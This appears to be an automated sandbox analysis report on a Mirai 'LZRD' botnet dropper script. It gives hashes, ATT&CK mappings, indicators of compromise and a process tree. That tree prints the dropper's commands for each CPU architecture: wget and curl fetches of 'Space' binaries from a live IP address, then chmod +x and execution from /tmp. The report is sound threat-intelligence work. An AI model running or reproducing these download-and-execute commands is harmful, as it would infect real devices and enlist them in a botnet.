mirai | 86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3

Analysis

max time kernel
139s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27-12-2024 07:52

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General

Target

1.sh
Size

2KB
MD5

e182ba2d64359a90a25281b53cdd0b14
SHA1

d8450d776b48b8834a1c607402eebf97bc0a126b
SHA256

86ae998ba71a86e08b70da8e5acf1ee1ed9f827abc1b733d7e39bc7201d96af3
SHA512

71e3f17025d636f8ccbd469bfc6ddeb7ea14bd71a952ad83058c3fb04141039688f6e178d7f3944627aedd1e7ea2c4924d7b452d9e4db192827bf3339624321d

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1505	chmod
1613	chmod
1623	chmod
1643	chmod
1561	chmod
1583	chmod
1633	chmod
1511	chmod
1541	chmod
1573	chmod
1521	chmod
1531	chmod
1551	chmod
1593	chmod
1603	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/Space	1506	Space
/tmp/Space	1512	Space
/tmp/Space	1522	Space
/tmp/Space	1532	Space
/tmp/Space	1542	Space
/tmp/Space	1552	Space
/tmp/Space	1562	Space
/tmp/Space	1574	Space
/tmp/Space	1584	Space
/tmp/Space	1594	Space
/tmp/Space	1604	Space
/tmp/Space	1614	Space
/tmp/Space	1624	Space
/tmp/Space	1634	Space
/tmp/Space	1644	Space

Modifies Watchdog functionality 1 TTPs 28 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/watchdog	Space
File opened for modification	/dev/misc/watchdog	Space

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 28 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/bin/watchdog	Space
File opened for modification	/sbin/watchdog	Space

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-5.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1111/status	Space
File opened for reading	/proc/26/status	Space
File opened for reading	/proc/775/status	Space
File opened for reading	/proc/159/status	Space
File opened for reading	/proc/24/status	Space
File opened for reading	/proc/1/status	Space
File opened for reading	/proc/1609/status	Space
File opened for reading	/proc/15/status	Space
File opened for reading	/proc/82/status	Space
File opened for reading	/proc/35/status	Space
File opened for reading	/proc/1587/status	Space
File opened for reading	/proc/1607/status	Space
File opened for reading	/proc/775/status	Space
File opened for reading	/proc/1146/status	Space
File opened for reading	/proc/468/status	Space
File opened for reading	/proc/1/status	Space
File opened for reading	/proc/1335/status	Space
File opened for reading	/proc/1627/status	Space
File opened for reading	/proc/1065/status	Space
File opened for reading	/proc/670/status	Space
File opened for reading	/proc/1008/status	Space
File opened for reading	/proc/1079/status	Space
File opened for reading	/proc/79/status	Space
File opened for reading	/proc/1055/status	Space
File opened for reading	/proc/1183/status	Space
File opened for reading	/proc/81/status	Space
File opened for reading	/proc/1219/status	Space
File opened for reading	/proc/7/status	Space
File opened for reading	/proc/3/status	Space
File opened for reading	/proc/555/status	Space
File opened for reading	/proc/319/status	Space
File opened for reading	/proc/403/status	Space
File opened for reading	/proc/158/status	Space
File opened for reading	/proc/646/status	Space
File opened for reading	/proc/1500/status	Space
File opened for reading	/proc/1178/status	Space
File opened for reading	/proc/446/status	Space
File opened for reading	/proc/1111/status	Space
File opened for reading	/proc/596/status	Space
File opened for reading	/proc/161/status	Space
File opened for reading	/proc/986/status	Space
File opened for reading	/proc/979/status	Space
File opened for reading	/proc/163/status	Space
File opened for reading	/proc/31/status	Space
File opened for reading	/proc/98/status	Space
File opened for reading	/proc/867/status	Space
File opened for reading	/proc/1151/status	Space
File opened for reading	/proc/28/status	Space
File opened for reading	/proc/319/status	Space
File opened for reading	/proc/403/status	Space
File opened for reading	/proc/267/status	Space
File opened for reading	/proc/446/status	Space
File opened for reading	/proc/1469/status	Space
File opened for reading	/proc/1469/status	Space
File opened for reading	/proc/21/status	Space
File opened for reading	/proc/36/status	Space
File opened for reading	/proc/1527/status	Space
File opened for reading	/proc/28/status	Space
File opened for reading	/proc/81/status	Space
File opened for reading	/proc/1261/status	Space
File opened for reading	/proc/169/status	Space
File opened for reading	/proc/1106/status	Space
File opened for reading	/proc/25/status	Space
File opened for reading	/proc/1096/status	Space

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1539	curl
1548	wget
1549	curl
1538	wget

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Space.mips	curl
File opened for modification	/tmp/Space.mpsl	curl
File opened for modification	/tmp/Space.arm6	wget
File opened for modification	/tmp/Space.arm7	wget
File opened for modification	/tmp/Space.ppc	curl
File opened for modification	/tmp/Space.arc	wget
File opened for modification	/tmp/Space.x86_64	wget
File opened for modification	/tmp/Space.mips64	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/Space.mips	wget
File opened for modification	/tmp/Space.arm	wget
File opened for modification	/tmp/Space.arm7	curl
File opened for modification	/tmp/Space.sh4	wget
File opened for modification	/tmp/Space	1.sh
File opened for modification	/tmp/Space.i686	curl
File opened for modification	/tmp/Space.sparc	curl
File opened for modification	/tmp/Space.arc	curl
File opened for modification	/tmp/Space.arm5	wget
File opened for modification	/tmp/Space.arm6	curl
File opened for modification	/tmp/Space.i686	wget
File opened for modification	/tmp/Space.mpsl	wget
File opened for modification	/tmp/Space.m68k	curl
File opened for modification	/tmp/Space.x86	curl
File opened for modification	/tmp/Space.x86_64	curl
File opened for modification	/tmp/Space.arm5	curl
File opened for modification	/tmp/Space.ppc	wget
File opened for modification	/tmp/Space.m68k	wget
File opened for modification	/tmp/Space.sh4	curl
File opened for modification	/tmp/Space.x86	wget
File opened for modification	/tmp/Space.arm	curl

/tmp/1.sh
/tmp/1.sh
1⤵
- Writes file to tmp directory
PID:1490
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1491
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1492
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arc
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/cat
  cat Space.arc
  2⤵
  PID:1504
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  PID:1506
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.x86
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/cat
  cat Space.x86
  2⤵
  PID:1510
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.x86 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1511
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1512
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1522
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.i686
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1538
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1539
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1542
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  PID:1548
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mips64
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1549
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1551
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1552
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9 systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-timedated.service-aDd8m2
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1562
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arm
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1574
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1580
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arm5
  2⤵
  - Writes file to tmp directory
  PID:1581
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1583
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1584
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1590
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arm6
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1594
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.arm7
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1604
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1610
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.ppc
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1614
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.sparc
  2⤵
  PID:1620
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.sparc
  2⤵
  - Writes file to tmp directory
  PID:1621
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1623
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1624
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1630
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.m68k
  2⤵
  - Writes file to tmp directory
  PID:1631
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1634
- /usr/bin/wget
  wget http://159.100.18.129/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1640
- /usr/bin/curl
  curl -O http://159.100.18.129/hiddenbin/Space.sh4
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/chmod
  chmod +x 1.sh busybox config-err-riqIjM netplan_f9q45fhs snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-u65xuxWJtjA0 systemd-private-fe3170d5648a4955adb5eb655984c096-bolt.service-FJNGiw systemd-private-fe3170d5648a4955adb5eb655984c096-colord.service-f4UabB systemd-private-fe3170d5648a4955adb5eb655984c096-ModemManager.service-Z0ax5V systemd-private-fe3170d5648a4955adb5eb655984c096-systemd-resolved.service-bo9PN9
  2⤵
  - File and Directory Permissions Modification
  PID:1643
- /tmp/Space
  ./Space
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Space

Filesize
37KB

MD5
86b0dbac78477aca5c3dd080ba53e837

SHA1
2542925378bca24e31bfcbfb9197cb0ba874fb21

SHA256
43a4a0183be4f67dc7757fd2068e7c3a604423abe3b5e71ad03b9f382a70899f

SHA512
6189287779a998d158de62b5b434338f7cfb556b92dc11280f0bbb6bedc267864c6b48085c80109169204f1d27b12abb5a268fa58da57b2d6200eb4d6eb25758

Download Submit
/tmp/Space.arc

Filesize
113KB

MD5
cafba952355d27a129910f5e4f3f99ce

SHA1
61baaf26de5da12a2941ec73ae7bd8fd8f37f704

SHA256
2fcfb888bc32cadee51779121fe4de505b22668a6a05ad3d50780fa2b3774d37

SHA512
86b847fe57dd5c4dab277b5f966c1b46899c86c0e4c6a2a1b50838d3b2d47ad79c9944c96c85b2b4f1e68bcba02fd4890aa3452a7cc80778876ede679b3ea730

Download Submit
/tmp/busybox

Filesize
2.0MB

MD5
b4dede5fc0b1bad5cb8e901bde126b97

SHA1
10cbe9a418ad84a1ed297948539d37aeb58dd810

SHA256
a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020

SHA512
45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads